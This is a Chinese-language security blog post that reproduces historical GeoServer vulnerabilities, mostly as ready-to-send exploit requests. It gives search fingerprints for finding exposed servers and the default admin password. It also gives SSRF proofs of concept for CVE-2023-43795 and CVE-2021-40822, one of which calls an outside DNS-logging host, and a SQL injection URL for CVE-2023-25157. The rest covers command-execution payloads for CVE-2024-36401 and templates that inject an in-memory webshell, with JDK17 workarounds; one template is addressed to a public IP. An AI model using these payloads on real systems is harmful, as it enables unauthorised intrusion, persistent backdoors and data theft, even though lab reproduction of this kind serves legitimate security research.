geoserver历史漏洞
发表于:2025-11-12 | 分类: 漏洞复现

geoserver历史漏洞

geoserver介绍

GGeoServer 是一个开源的地理信息服务器,用于发布和共享地理空间数据。它是由 GeoTools 库驱动的,GeoTools 是一个用于处理地理数据的 Java 库。GeoServer 允许用户从各种数据源(如 Shapefile、PostGIS、Oracle Spatial、ArcSDE 等)发布地理空间数据,并通过标准的 OGC(Open Geospatial Consortium)协议(如 WMS、WFS、WCS 等)进行访问。

历史漏洞

指纹信息如下
1
2
3
icon_hash=“97540678
title="GeoServer: Welcome"
inurl:"/geoserver/ows?service=wfs"

弱口令

1
2
user:admin
password:geoserver

SSRF

CVE-2023-43795

这个SSRF漏洞需要geoserver配置wps插件,默认情况下,geoserver是没有wps插件的,因此需要我们手动配置

从链接中下载插件压缩包:https://sourceforge.net/projects/geoserver/files/GeoServer/2.22.1/extensions/geoserver-2.22.1-wps-plugin.zip/download,将所有的*.jar包全放入geoserver-2.22.1-bin/webapps/geoserver/WEB-INF/lib中,重启geoserver,我们进入后台,就可以看到wps插件了

漏洞POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
POST /geoserver/wms HTTP/1.1
Host: 127.0.0.1:8088
Content-Length: 999
Accept: application/xml, text/xml, */*; q=0.01
Wicket-Ajax-BaseURL: wicket/bookmarkable/org.geoserver.wps.web.WPSRequestBuilder?15
X-Requested-With: XMLHttpRequest
Wicket-Ajax: true
Wicket-FocusedElementId: id44
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Content-Type: application/xml
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<wps:Execute version="1.0.0" service="WPS"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://www.opengis.net/wps/1.0.0"
xmlns:wfs="http://www.opengis.net/wfs"
xmlns:wps="http://www.opengis.net/wps/1.0.0"
xmlns:ows="http://www.opengis.net/ows/1.1"
xmlns:gml="http://www.opengis.net/gml"
xmlns:ogc="http://www.opengis.net/ogc"
xmlns:wcs="http://www.opengis.net/wcs/1.1.1"
xmlns:xlink="http://www.w3.org/1999/xlink"
xsi:schemaLocation="http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd">

<ows:Identifier>JTS:area</ows:Identifier>

<wps:DataInputs>
<wps:Input>
<ows:Identifier>geom</ows:Identifier>
<wps:Reference mimeType="application/json"
xlink:href="http://test.qccfahdlsf.lfcx.eu.org"
method="GET"/>
</wps:Input>
</wps:DataInputs>

<wps:ResponseForm>
<wps:RawDataOutput>
<ows:Identifier>result</ows:Identifier>
</wps:RawDataOutput>
</wps:ResponseForm>

</wps:Execute>

我们这里成功接收到了DNS请求

CVE-2021-40822

在GeoServer 2.19.3、2.18.5和2.17.6版本之前,WMS GetMap请求中存在服务器端请求伪造(SSRF)漏洞。攻击者可以利用此漏洞通过GeoServer服务器向内部或外部服务发送请求

漏洞Poc如下

需要注意的是,数据包中Host头部值和参数url中的值要相同

1
2
3
4
5
6
7
8
9
10
11
12
POST /geoserver/TestWfsPost HTTP/1.1
Host: www.baidu.com
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 96

form_hf_0=&url=http://www.baidu.com/geoserver/../&body=testtest&username=admin&password=admin

可以成功返回目标url的响应内容,本来想着有回显,想尝试一下读文件,但是由于后端进行了类型转换,FtpURLConnection不能转为HttpURLConnection而报错

SQL注入 CVE-2023-25157

影响版本:
  • geoserver<2.18.7
  • 2.19.0<=geoserver<2.19.7
  • 2.20.0<=geoserver<2.20.7
  • 2.21.0<=geoserver<2.21.4
  • 2.22.0<=geoserver<2.22.2

首先访问/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities获取<Name>标签中的信息,地理图层列表

这里以vulhub:example为例

然后将typeName的name属性拼接到url中,SQL注入POC如下

1
/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=strStartsWith(name,%27x%27%27)%20=%20true%20and%201=(SELECT%20CAST%20((SELECT%20version())%20AS%20integer))%20--%20%27)%20=%20true

成功获取到数据库版本号信息

XPath表达式 RCE CVE-2024-36401

该漏洞源于Geoserver使用的第三方库GeoTool因为使用了不安全的commons-jxpath 引擎处理xpath语句导致未授权能够通过发送各类OGC请求控制了复杂的xpath表达式并注入恶意代码从而rce

影响版本:

  • version < 2.23.6
  • version < 2.24.4
  • version < 2.25.2

漏洞复现

漏洞Poc如下,这个Poc的效果是达到了任意命令执行的效果,同时我们可以修改Poc执行任意代码来注入内存马,这个后面再说
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /geoserver/wfs HTTP/1.1
Host: 127.0.0.1:8088
Content-Type: application/xml
Content-Length: 339

<wfs:GetFeature service="WFS" version="1.1.0"
xmlns:topp="http://www.openplans.org/topp"
xmlns:wfs="http://www.opengis.net/wfs"
xmlns="http://www.opengis.net/ogc"
xmlns:gml="http://www.opengis.net/gml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.opengis.net/wfs">
<wfs:Query typeName="topp:states">
<Filter>
<Intersects>
<PropertyName>exec(java.lang.Runtime.getRuntime(),"touch /tmp/geoserver.txt")</PropertyName>
</Intersects>
</Filter>
</wfs:Query>
</wfs:GetFeature>

文件创建成功

除此之外,我们可以使用GET请求也是可以触发漏洞的,Poc如下

1
/geoserver/wfs?request=GetPropertyValue&service=wfs&typeNames=topp:states&valueReference=exec%28java.lang.Runtime.getRuntime%28%29%2C%22calc%22%29&version=2.0.0

漏洞分析

这个漏洞我们简单分析一下

明白了geoserver的路由以后,我们看到GetPropertyValue#run方法,在前面会解析我们body中的xml来获取参数,其中propertyNameNoIndexs参数为我们的XPath语句

然后调用了evaluate方法,猜测他是用来解析XPath语句的

跟进evaluate方法

再跟进get方法,可以看到,先调用JXPathContext.newContext,然后调用context.iteratePointers(xpath)来解析xpath语句,从而达到RCE的效果

内存马注入

正常情况下,我们使用js模板引擎来进行注入内存马,poc模板如下

注入时将base64Str替换为对应的base64字符串即可

注意geoserver的中间件为Jetty

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /geoserver/wfs HTTP/1.1
Host: 101.36.122.13:8080
Content-Type: application/xml
Content-Length: 339

<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>
eval(getEngineByName(javax.script.ScriptEngineManager.new(), 'js'), 'var base64Str = "";var className = "com.fasterxml.jackson.quiYo.KeyUtils";var clsString = java.lang.Class.forName("java.lang.String");var bytecode;try { var decoder = java.lang.Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null); bytecode = decoder.getClass().getMethod("decode", clsString).invoke(decoder, base64Str);} catch (ee) { var decoder = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance(); bytecode = decoder.getClass().getMethod("decodeBuffer", clsString).invoke(decoder, base64Str);}var clsByteArray = (new java.lang.String("").getBytes().getClass());var clsInt = java.lang.Integer.TYPE;var pTypes = java.lang.reflect.Array.newInstance(java.lang.Class.class, 4);java.lang.reflect.Array.set(pTypes, 0, clsString);java.lang.reflect.Array.set(pTypes, 1, clsByteArray);java.lang.reflect.Array.set(pTypes, 2, clsInt);java.lang.reflect.Array.set(pTypes, 3, clsInt);var defineClass = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", pTypes);defineClass.setAccessible(true);var clazz = defineClass.invoke(new java.net.URLClassLoader(java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.net.URL"), 0),java.lang.Thread.currentThread().getContextClassLoader()), className, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));clazz.newInstance();')
</wfs:valueReference>
</wfs:GetPropertyValue>

在我使用docker搭建起来vulhub中的geoserver后,多次尝试发现Runtime.exec可以成功执行命令,而想使用ScriptEnginer去执行javaScript表达式却一直不可以,最后发现问题:搭建的geoserver中JDK版本为17,在JDK17中,ashorn 引擎jdk17被移除了

经过了长时间的探索,我在memshellParty中找到了可用的方式

选择中间件为Jetty,利用方式为JXPath,打包方式为JXPathSpringGzipJDK17,且由于JDK17的强封装机制,注入器CLassName需要在org.springframework.expression

Poc模板如下

1
2
3
4
5
6
7
8
9
10
11
12
POST /geoserver/wfs HTTP/1.1
Host: 127.0.0.1:8088
Content-Type: application/xml
Content-Length: 339

<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='tiger:poi'/>
<wfs:valueReference>newInstance(org.springframework.cglib.core.ReflectUtils.defineClass('org.springframework.expression.dXZYzwrx',org.springframework.util.StreamUtils.copyToByteArray(java.util.zip.GZIPInputStream.new(java.io.ByteArrayInputStream.new(org.springframework.util.Base64Utils.decodeFromString('')))),getContextClassLoader(java.lang.Thread.currentThread()),getProtectionDomain(java.lang.Class.forName('org.springframework.expression.ExpressionParser')),java.lang.Class.forName('org.springframework.expression.ExpressionParser')))</wfs:valueReference>
</wfs:GetPropertyValue>

如果爆出ClassCastExeption错误,则说明我们的代码执行成功

内存马连接成功

下一篇:
Nacos历史漏洞